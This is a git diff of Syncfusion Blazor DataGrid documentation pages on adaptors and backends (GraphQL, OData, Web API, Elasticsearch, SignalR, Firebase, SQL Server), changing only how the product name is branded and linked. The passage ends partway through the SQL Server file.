-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows you to send custom parameters with each data request. This is particularly useful when you need to pass additional information (e.g., user role, token, or filters) to the server for enhanced processing logic.
+The Blazor DataGrid allows you to send custom parameters with each data request. This is particularly useful when you need to pass additional information (e.g., user role, token, or filters) to the server for enhanced processing logic.
 
 You can achieve this by using the [Query](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_Query) property of the grid along with the `AddParams` method of the `Query` class.
 
diff --git a/blazor/datagrid/connecting-to-adaptors/graphql-adaptor.md b/blazor/datagrid/connecting-to-adaptors/graphql-adaptor.md
index b0d28dd205..a1241742a7 100644
--- a/blazor/datagrid/connecting-to-adaptors/graphql-adaptor.md
+++ b/blazor/datagrid/connecting-to-adaptors/graphql-adaptor.md
@@ -333,7 +333,7 @@ The query resolver has been created successfully.
 
 ### Step 6: Create the DataManagerRequestInput Class
 
-A **DataManagerRequestInput** class is a GraphQL input type that represents all the parameters the Syncfusion Blazor DataGrid sends to the backend when requesting data. This class acts as a container for filtering, sorting, searching, paging, and other data operation parameters.
+A **DataManagerRequestInput** class is a GraphQL input type that represents all the parameters the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) sends to the backend when requesting data. This class acts as a container for filtering, sorting, searching, paging, and other data operation parameters.
 
 **Purpose**
 When the DataGrid performs operations like pagination, sorting, filtering, or searching, it packages all these parameters into a `DataManagerRequestInput` object and sends it to the GraphQL backend. The backend then uses these parameters to fetch and return only the data the grid needs.
@@ -347,7 +347,7 @@ When the DataGrid performs operations like pagination, sorting, filtering, or se
 namespace Grid_GraphQLAdaptor.Models;
 
 /// <summary>
-/// Represents the input structure for data manager requests from the Syncfusion Blazor DataGrid.
+/// Represents the input structure for data manager requests from the Blazor DataGrid.
 /// Contains all parameters needed for data operations like filtering, sorting, paging, and searching.
 /// </summary>
 public class DataManagerRequestInput
@@ -627,7 +627,7 @@ A mutation resolver is a C# method decorated with GraphQL attributes that:
 - **Persists changes** to the data source (database, file, memory).
 - **Returns results** to the client (modified record or success/failure status).
 
-The GraphQL Mutation class has been successfully created and is ready to handle all data modification operations from the Syncfusion Blazor DataGrid.
+The GraphQL Mutation class has been successfully created and is ready to handle all data modification operations from the Blazor DataGrid.
 
 ---
 
@@ -668,7 +668,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the expense data in a Syncfusion Blazor DataGrid with search, filter, sort, editing and pagination capabilities.
+The `Home.razor` component will display the expense data in a Blazor DataGrid with search, filter, sort, editing and pagination capabilities.
 
 **Instructions:**
 
@@ -743,7 +743,7 @@ The `SfDataManager` component connects the DataGrid to the GraphQL backend using
 
 ### Step 3: Configure GraphQL Adaptor and Data Binding
 
-The GraphQL adaptor is a bridge that connects the Syncfusion Blazor DataGrid with the GraphQL backend. The adaptor translates DataGrid operations (filtering, sorting, paging, searching) into GraphQL queries and mutations. When the user interacts with the grid, the adaptor automatically sends the appropriate GraphQL request to the backend, receives the response, and updates the grid display.
+The GraphQL adaptor is a bridge that connects the Blazor DataGrid with the GraphQL backend. The adaptor translates DataGrid operations (filtering, sorting, paging, searching) into GraphQL queries and mutations. When the user interacts with the grid, the adaptor automatically sends the appropriate GraphQL request to the backend, receives the response, and updates the grid display.
 
 **What is a GraphQL Adaptor?**
 
@@ -2361,7 +2361,7 @@ This guide demonstrates how to:
 5. Implement GraphQL query resolvers to read data. [🔗](#step-5-graphql-query-resolvers)
 6. Create the DataManagerRequestInput input type to carry grid operations. [🔗](#step-6-create-the-datamanagerrequestinput-class)
 7. Define GraphQL mutation resolvers for Create, Update, and Delete. [🔗](#step-7-define-graphql-mutation-resolvers)
-8. Integrate Syncfusion Blazor DataGrid and configure the GraphQL adaptor. [🔗](#step-3-configure-graphql-adaptor-and-data-binding)
+8. Integrate Blazor DataGrid and configure the GraphQL adaptor. [🔗](#step-3-configure-graphql-adaptor-and-data-binding)
 9. Perform CRUD operations from the grid using GraphQL mutations. [🔗](#perform-crud-operations)
 
-The application now provides a complete solution for managing expenses with a modern Syncfusion Blazor DataGrid integrated with a Hot Chocolate GraphQL backend.
+The application now provides a complete solution for managing expenses with a modern [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) integrated with a Hot Chocolate GraphQL backend.
diff --git a/blazor/datagrid/connecting-to-adaptors/odatav4-adaptor.md b/blazor/datagrid/connecting-to-adaptors/odatav4-adaptor.md
index 20a88afb55..9bf5c968a4 100644
--- a/blazor/datagrid/connecting-to-adaptors/odatav4-adaptor.md
+++ b/blazor/datagrid/connecting-to-adaptors/odatav4-adaptor.md
@@ -10,11 +10,11 @@ documentation: ug
 
 # OData Remote Data Binding in Syncfusion Blazor DataGrid
 
-The [ODataV4Adaptor](https://blazor.syncfusion.com/documentation/data/adaptors#odatav4-adaptor) in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables seamless integration of the Grid with OData V4 services, facilitating efficient data fetching and manipulation. This guide provides detailed instructions for binding data and performing CRUD (Create, Read, Update, and Delete) actions using the `ODataV4Adaptor` in your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+The [ODataV4Adaptor](https://blazor.syncfusion.com/documentation/data/adaptors#odatav4-adaptor) in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables seamless integration of the Grid with OData V4 services, facilitating efficient data fetching and manipulation. This guide provides detailed instructions for binding data and performing CRUD (Create, Read, Update, and Delete) actions using the `ODataV4Adaptor` in your Blazor DataGrid.
 
 ## Configuring an OData V4 Service
 
-To configure a server with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, follow these steps:
+To configure a server with Blazor DataGrid, follow these steps:
 
 **1. Create a Blazor web app**
 
@@ -155,11 +155,11 @@ After running the application, you can verify that the server-side API controlle
 
 ![ODataV4Adaptor Data](../images/odatav4-adaptors-data.webp)
 
-## Connecting Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid to an OData V4 Service
+## Connecting Blazor DataGrid to an OData V4 Service
 
-To integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid into your project using Visual Studio, follow the below steps:
+To integrate the Blazor DataGrid into your project using Visual Studio, follow the below steps:
 
-**1. Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and Themes NuGet packages**
+**1. Install Blazor DataGrid and Themes NuGet packages**
 
 To add the Blazor DataGrid to the app, open the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*) for the `ODataV4Adaptor.Client` project, search and install [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
 
diff --git a/blazor/datagrid/connecting-to-adaptors/url-adaptor.md b/blazor/datagrid/connecting-to-adaptors/url-adaptor.md
index ca1600ef74..292ed9eb72 100644
--- a/blazor/datagrid/connecting-to-adaptors/url-adaptor.md
+++ b/blazor/datagrid/connecting-to-adaptors/url-adaptor.md
@@ -10,13 +10,13 @@ documentation: ug
 
 # UrlAdaptor in Syncfusion Blazor DataGrid
 
-The [UrlAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#url-adaptor) serves as the base adaptor for facilitating communication between remote data services and a UI component. It enables seamless data binding and interaction with custom API services or any remote service through URLs. The `UrlAdaptor` is particularly useful in scenarios where a custom API service with unique logic for handling data and CRUD operations is in place. This approach allows for custom handling of data, with the resultant data returned in the `result` and `count` format for display in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid.
+The [UrlAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#url-adaptor) serves as the base adaptor for facilitating communication between remote data services and a UI component. It enables seamless data binding and interaction with custom API services or any remote service through URLs. The `UrlAdaptor` is particularly useful in scenarios where a custom API service with unique logic for handling data and CRUD operations is in place. This approach allows for custom handling of data, with the resultant data returned in the `result` and `count` format for display in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid).
 
 This section describes a step-by-step process for retrieving data using the `UrlAdaptor` and binding it to the Blazor DataGrid to facilitate data and CRUD operations.
 
 ## Creating an API Service
  
-To configure a server with the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, follow these steps:
+To configure a server with the Blazor DataGrid, follow these steps:
  
 **1. Create a Blazor web app**
  
@@ -151,11 +151,11 @@ Run the application in Visual Studio. The API will be accessible at a URL like *
  
 ![UrlAdaptor Data](../images/blazor-datagrid-adaptors-data.webp)
 
-## Connecting Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid to an API service
+## Connecting Blazor DataGrid to an API service
  
-To integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid into your project using Visual Studio, follow the below steps:
+To integrate the Blazor DataGrid into your project using Visual Studio, follow the below steps:
  
-**1. Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and Themes NuGet packages**
+**1. Install Blazor DataGrid and Themes NuGet packages**
  
 To add the Blazor DataGrid in the app, open the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), search and install [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
  
@@ -287,7 +287,7 @@ When you run the application, the Blazor DataGrid  will display data fetched fro
  
 ![UrlAdaptor Data](../images/blazor-datagrid-adaptors.webp)
  
-> * The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports server-side operations such as **searching**, **sorting**, **filtering**, **aggregating**, and **paging**. These can be handled using methods like [PerformSearching](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSearching__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_SearchFilter__), [PerformFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformFiltering__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_WhereFilter__System_String_), [PerformSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSorting__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_Sort__), [PerformTake](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformTake__1_System_Linq_IQueryable___0__System_Int32_), and [PerformSkip](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSkip__1_System_Linq_IQueryable___0__System_Int32_) from the **Syncfusion.Blazor.Data** package. Let's explore how to manage these data operations using the `UrlAdaptor`.
+> * The Blazor DataGrid supports server-side operations such as **searching**, **sorting**, **filtering**, **aggregating**, and **paging**. These can be handled using methods like [PerformSearching](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSearching__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_SearchFilter__), [PerformFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformFiltering__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_WhereFilter__System_String_), [PerformSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSorting__1_System_Linq_IQueryable___0__System_Collections_Generic_List_Syncfusion_Blazor_Data_Sort__), [PerformTake](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformTake__1_System_Linq_IQueryable___0__System_Int32_), and [PerformSkip](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html#Syncfusion_Blazor_DataOperations_PerformSkip__1_System_Linq_IQueryable___0__System_Int32_) from the **Syncfusion.Blazor.Data** package. Let's explore how to manage these data operations using the `UrlAdaptor`.
 > * In an API service project, add **Syncfusion.Blazor.Data** by opening the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install it.
 
 ## Handling searching operation
@@ -535,7 +535,7 @@ public object Post([FromBody] DataManagerRequest DataManagerRequest)
 
 ## Handling CRUD operations
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid seamlessly integrates CRUD (Create, Read, Update, and Delete) operations with server-side controller actions through specific properties: [InsertUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_InsertUrl), [RemoveUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_RemoveUrl), [UpdateUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_UpdateUrl), [CrudUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_CrudUrl), and [BatchUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_BatchUrl). These properties enable the Grid to communicate with the data service for every Grid action, facilitating server-side operations.
+The Blazor DataGrid seamlessly integrates CRUD (Create, Read, Update, and Delete) operations with server-side controller actions through specific properties: [InsertUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_InsertUrl), [RemoveUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_RemoveUrl), [UpdateUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_UpdateUrl), [CrudUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_CrudUrl), and [BatchUrl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_BatchUrl). These properties enable the Grid to communicate with the data service for every Grid action, facilitating server-side operations.
 
 **CRUD Operations Mapping**
 
diff --git a/blazor/datagrid/connecting-to-adaptors/web-api-adaptor.md b/blazor/datagrid/connecting-to-adaptors/web-api-adaptor.md
index 1c1c077123..0ffbb424e7 100644
--- a/blazor/datagrid/connecting-to-adaptors/web-api-adaptor.md
+++ b/blazor/datagrid/connecting-to-adaptors/web-api-adaptor.md
@@ -10,7 +10,7 @@ documentation: ug
 
 # WebApiAdaptor in Syncfusion Blazor DataGrid
 
-The [WebApiAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#web-api-adaptor) is an extension of the [ODataAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#odata-adaptor), designed to interact with Web APIs created with OData endpoints. This adaptor ensures seamless communication between the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and OData-endpoint-based Web APIs, enabling efficient data retrieval and manipulation. For successful integration, the endpoint must be capable of understanding OData-formatted queries sent along with the request.
+The [WebApiAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#web-api-adaptor) is an extension of the [ODataAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#odata-adaptor), designed to interact with Web APIs created with OData endpoints. This adaptor ensures seamless communication between the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) and OData-endpoint-based Web APIs, enabling efficient data retrieval and manipulation. For successful integration, the endpoint must be capable of understanding OData-formatted queries sent along with the request.
 
 To enable the OData query option for a Web API, please refer to the corresponding [documentation](https://learn.microsoft.com/en-us/aspnet/web-api/overview/odata-support-in-aspnet-web-api/supporting-odata-query-options), which provides detailed instructions on configuring the endpoint to understand OData-formatted queries.
 
@@ -18,7 +18,7 @@ This section describes a step-by-step process for retrieving data using the `Web
 
 ## Creating an API service
  
-To configure a server with the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, follow these steps:
+To configure a server with the Blazor DataGrid, follow these steps:
  
 **1. Create a Blazor web app**
  
@@ -150,11 +150,11 @@ Run the application in Visual Studio. The API will be accessible at a URL like *
  
 ![WebApiAdaptor Data](../images/web-api-adaptor-data.webp)
 
-## Connecting Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid to an API service
+## Connecting Blazor DataGrid to an API service
  
-To integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid into your project using Visual Studio, follow the below steps:
+To integrate the Blazor DataGrid into your project using Visual Studio, follow the below steps:
  
-**1. Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid and Themes NuGet packages**
+**1. Install Blazor DataGrid and Themes NuGet packages**
  
 To add the Blazor DataGrid in the app, open the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), search and install [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
  
@@ -655,7 +655,7 @@ N> If you want to handle filtering, sorting, and paging operations using Dynamic
 
 ## Handling CRUD operations
 
-To manage CRUD (Create, Read, Update, and Delete) operations using the WebApiAdaptor in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, follow the provided guide for configuring the Grid for [editing](https://blazor.syncfusion.com/documentation/datagrid/editing) and utilize the sample implementation of the `GridController` in your server application. This controller handles HTTP requests for CRUD operations such as **GET, POST, PUT,** and **DELETE**.
+To manage CRUD (Create, Read, Update, and Delete) operations using the WebApiAdaptor in Blazor DataGrid, follow the provided guide for configuring the Grid for [editing](https://blazor.syncfusion.com/documentation/datagrid/editing) and utilize the sample implementation of the `GridController` in your server application. This controller handles HTTP requests for CRUD operations such as **GET, POST, PUT,** and **DELETE**.
 
 To enable CRUD operations in the Grid, follow the steps below:
 
diff --git a/blazor/datagrid/connecting-to-backends/elasticsearch.md b/blazor/datagrid/connecting-to-backends/elasticsearch.md
index 7d157a89aa..9242bb4c0a 100644
--- a/blazor/datagrid/connecting-to-backends/elasticsearch.md
+++ b/blazor/datagrid/connecting-to-backends/elasticsearch.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting Blazor Data Grid to Elasticsearch
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from an Elasticsearch index using the Elastic.Clients.Elasticsearch library. This modern approach provides full-text search capabilities, advanced filtering, and high-performance data operations.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from an Elasticsearch index using the Elastic.Clients.Elasticsearch library. This modern approach provides full-text search capabilities, advanced filtering, and high-performance data operations.
 
 **What is Elasticsearch?**
 
@@ -785,7 +785,7 @@ Syncfusion components are now configured and ready to use.
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component displays inventory data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component displays inventory data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -836,7 +836,7 @@ The Home component has been updated successfully with a basic DataGrid.
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from **Elasticsearch** using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from **Elasticsearch** using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to [CustomAdaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/custom-adaptor) for scenarios that require full control over data operations.
 
 The `CustomAdaptor` is a bridge between the DataGrid and Elasticsearch. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations.
 
diff --git a/blazor/datagrid/connecting-to-backends/signalr.md b/blazor/datagrid/connecting-to-backends/signalr.md
index 12a3b8e2dd..fc654ae4ea 100644
--- a/blazor/datagrid/connecting-to-backends/signalr.md
+++ b/blazor/datagrid/connecting-to-backends/signalr.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting Real-Time Data to Blazor Data Grid Using SignalR
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports real-time data binding using **SignalR**, a powerful library for bi-directional communication between servers and clients. This approach enables live data updates without page refreshes, making it ideal for applications that require instant information delivery such as stock tickers, live dashboards, and real-time notifications.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports real-time data binding using **SignalR**, a powerful library for bi-directional communication between servers and clients. This approach enables live data updates without page refreshes, making it ideal for applications that require instant information delivery such as stock tickers, live dashboards, and real-time notifications.
 
 **What is SignalR?**
 
diff --git a/blazor/datagrid/connecting-to-database/firebase-firestore.md b/blazor/datagrid/connecting-to-database/firebase-firestore.md
index 2f90935d9b..a1e9afd212 100644
--- a/blazor/datagrid/connecting-to-database/firebase-firestore.md
+++ b/blazor/datagrid/connecting-to-database/firebase-firestore.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting Firebase Firestore to Blazor Data Grid
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a Firebase Firestore database using the Google.Cloud.Firestore library. This approach provides a flexible and scalable solution for working with NoSQL cloud-based databases.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a Firebase Firestore database using the Google.Cloud.Firestore library. This approach provides a flexible and scalable solution for working with NoSQL cloud-based databases.
 
 **What is Firebase Firestore?**
 
@@ -922,7 +922,7 @@ Syncfusion is a library that provides pre-built UI components like DataGrid, whi
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component displays the book data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component displays the book data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -977,9 +977,9 @@ The Home component has been successfully updated with the DataGrid and CustomAda
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **Firebase Firestore** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **Firebase Firestore** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
diff --git a/blazor/datagrid/connecting-to-database/firebase-realtime.md b/blazor/datagrid/connecting-to-database/firebase-realtime.md
index ba535e47c1..4d823044af 100644
--- a/blazor/datagrid/connecting-to-database/firebase-realtime.md
+++ b/blazor/datagrid/connecting-to-database/firebase-realtime.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting Firebase Realtime Database to Blazor Data Grid
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a Firebase Realtime Database using the REST API. This approach provides a lightweight, language-agnostic solution for working with cloud-hosted JSON databases without requiring external SDKs.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a Firebase Realtime Database using the REST API. This approach provides a lightweight, language-agnostic solution for working with cloud-hosted JSON databases without requiring external SDKs.
 
 **What is Firebase Realtime Database?**
 
@@ -681,7 +681,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component displays the book data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
+The `Home.razor` component displays the book data in a Blazor DataGrid with search, filter, sort, and pagination capabilities.
 
 **Instructions:**
 
@@ -734,9 +734,9 @@ The Home component has been successfully updated with the DataGrid and CustomAda
 
 ### Step 3: Implement the CustomAdaptor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can bind data from a **Firebase Realtime** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
+The Blazor DataGrid can bind data from a **Firebase Realtime** database using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) and set the [Adaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Adaptors.html) property to `CustomAdaptor` for scenarios that require full control over data operations.
 
-The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
+The `CustomAdaptor` is a bridge between the DataGrid and the database. It handles all data operations including reading, searching, filtering, sorting, paging, and CRUD operations. Each operation in the CustomAdaptor's `ReadAsync` method handles specific grid functionality. The Blazor DataGrid sends operation details to the API through a [DataManagerRequest](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManagerRequest.html) object. These details can be applied to the data source using methods from the [DataOperations](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataOperations.html) class.
 
 **Instructions:**
 
@@ -2124,4 +2124,4 @@ This guide demonstrates how to:
 10. Handle bulk operations and batch updates. [🔗](#step-11-perform-crud-operations)
 
 
-The application now provides a complete, modern solution for managing library book data with Firebase Realtime Database's cloud-hosted JSON storage and Syncfusion Blazor DataGrid's comprehensive data management capabilities.
\ No newline at end of file
+The application now provides a complete, modern solution for managing library book data with Firebase Realtime Database's cloud-hosted JSON storage and [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)'s comprehensive data management capabilities.
\ No newline at end of file
diff --git a/blazor/datagrid/connecting-to-database/microsoft-sql-server.md b/blazor/datagrid/connecting-to-database/microsoft-sql-server.md
index 00c3a8b2ec..36255def17 100644
--- a/blazor/datagrid/connecting-to-database/microsoft-sql-server.md
+++ b/blazor/datagrid/connecting-to-database/microsoft-sql-server.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Connecting SQL Server to Blazor Data Grid Using Entity Framework
 
-The [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a SQL Server database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports binding data from a SQL Server database using Entity Framework Core (EF Core). This modern approach provides a more maintainable and type-safe alternative to raw SQL queries.
 
 **What is Entity Framework Core?**
 
@@ -607,7 +607,7 @@ Syncfusion components are now configured and ready to use. For additional guidan
 
 ### Step 2: Update the Blazor DataGrid
 
-The `Home.razor` component will display the ticket data in a Syncfusion Blazor DataGrid with search, filter, sort, and pagination capabilities.
